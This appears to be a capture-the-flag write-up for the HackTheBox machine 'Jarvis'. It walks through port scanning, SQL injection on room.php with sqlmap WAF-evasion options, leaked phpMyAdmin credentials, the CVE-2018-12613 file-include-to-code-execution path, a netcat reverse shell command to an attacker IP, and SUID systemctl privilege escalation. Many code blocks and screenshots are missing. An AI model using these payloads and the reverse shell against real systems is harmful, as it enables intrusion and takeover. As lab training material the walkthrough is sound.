Jarvis

Reconnaissance: NMAP

┌──(kali💀kali)-[~]
└─$ sudo nmap -sC -sV -O 10.10.10.143

22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA)
|   256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA)
|_  256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519)

80/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Stark Hotel
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
Aggressive OS guesses: Linux 3.2 - 4.9 (96%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), Linux 3.12 (94%), Linux 3.13 (94%), Linux 3.8 - 3.11 (94%), Linux 4.8 (94%), Linux 4.4 (94%), Linux 4.9 (94%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 69.00 seconds

Enumeration: HTTP Port 80/tcp

http://10.10.10.143/ Contact Information: 291 South 21th Street, Suite 721 New York NY 10016 1235 2355 98 supersecurehotel@logger.htb supersecurehotel.htb

http://10.10.10.143/index.php http://10.10.10.143/rooms-suites.php http://10.10.10.143/dining-bar.php http://supersecurehotel.htb/ http://supersecurehotel.logger.htb/

Add them to the /etc/hosts file.

View Source Code:

view-source:http://10.10.10.143/index.php

Nikto:

Gobuster:

I tried default credentials but that didn’t work.

http://supersecurehotel.htb/phpmyadmin/

Next, view the ChangeLog document to get the version number. This can also be found in the README document that nikto reported.

http://supersecurehotel.htb/connection.php http://supersecurehotel.htb/room.php http://logger.htb/

Enumeration: Website - TCP 64999

Apache httpd 2.4.25.

The gobuster and Nikto scans didn’t find anything useful for this port.

The site just has a static bit of text:

  • Hey you have been banned for 90 seconds, don’t be bad

This could be related to the WAF?

Shell as www-data

SQL Injection:

I took note earlier of room.php which took an argument, cod. I can break the page by adding a ' at the end:

http://10.10.10.143/room.php?cod=1

It doesn’t crash the page or return 500, but the information and picture for the room aren’t there anymore. This suggests SQL Injection.

TEST: SQL SLEEP

http://10.10.10.143/room.php?cod=1%20or%20sleep(10)

The easiest way to test SQLI is to through it over to sqlmap:

Path 1: PHPMyAdmin

I can work through this Injection manually. I’ll start by checking for a UNION injection. I’ll set cod=100 (something that returns nothing), and then add the union. I’ll start with http://10.10.10.143/room.php?cod=100 UNION SELECT 1;-- -. When that return nothing, I’ll change the SELECT to SELECT 1,2. Then 1,2,3. When I get to http://10.10.10.143/room.php?cod=100 UNION SELECT 1,2,3,4,5,6,7;-- -, parts of the page populate again:

I can compare that to a legit cod=1:

That username / password will get into the phpmyadmin site

http://supersecurehotel.htb/phpmyadmin/index.php DBadmin imissyou

I can see the version is 4.8.0:

There’s an vulnerability in this version, CVE-2018-12613. It’s a local file include (LFI) that allows for remote code execution (RCE).

LogoPHPMyAdmin 4.8.0 ~ 4.8.1 Remote Code ExecutionMedium

The LFI is because there is an inconsistency in how %3f is handled in the security check and the include. I can visit http://10.10.10.143/phpmyadmin/index.php?target=db_sql.php%3f/../../../../etc/passwd and see the include works:

Now it’s just a matter of getting some php code I want to run on the site. I can do that by issuing a SQL query, and then including my php session info.

I’ll click on the “SQL” tab at the top, and enter the query:

Now, I’ll include my php session info. I’ll check burp to grab my phpMyAdmin cookie, and visit: http://10.10.10.143/phpmyadmin/index.php?cmd=id&target=db_sql.php%3f/../../../../../var/lib/php/sessions/sess_e3qctegac4saf72rocbl1541j26u7mqm:

Now I can get a shell changing cmd=id to cmd=nc -e /bin/sh 10.10.14.8 443:

Path 2: WebShell Via SQLi

SQLMAP:

It seems that IronWAF isn’t perfect against sqlmap. I got it to work sometimes. But with a bit of tweaking, I could get it to work reliably. The options I’ll use are --random-agent to mess with the user agent string, and low level and risk.

I can use this to dump the sql username and password:

I can use that to do the same phpmyadmin attack as shown above. But I can also use it to write a webshell:

Upon substituting the room’s number with either a quote ( ‘ ) or a comment (--), we observed a 404 response. Consequently, we initiated SQL injection testing on the target using the sqlmap tool, with a shell scan option (--os-shell) as a precautionary measure to potentially gain a shell.

And we could have a shell using sqlmap, let’s upgrade it to a regular shell by first starting a listener.

Priv: www-data –> pepper

And we have a shell, let’s check what privileges we have here.

And we can can run /var/www/Admin-Utilities/simpler.py as pepper . Let’s have a look at the content of the simpler.py script.

Priv: pepper –> root

To view the root.txt flag, we need to escalate our privileges to root. Let’s transfer the LinEnum script from our attack machine to the target machine.

In the attack machine, start up a server in the same directory that the script resides in.

In the target machine, change to the /tmp directory where we have write privileges and download the LinEnum script.

Let’s have a look at the suid binaries using the command below.

The systemctl binary has the setuid bit set and it’s owned by root. We can use that to our advantage and escalate to root privileges. If you’re not sure how to do that, you can search the binary name on GTFO bins and check how the suid bit can be used to escalate privileges.

LogoGTFOBinsgtfobins.github.io

Blog explaining how to set up a service and use the misconfigured systemctl binary to send a privileged reverse shell back to our attack machine.

LogoPrivilege Escalation: Leveraging misconfigured systemctl permissionsMedium

First, create a pwn.service file with the following content.

PreviousNetworkedNextMagic

Last updated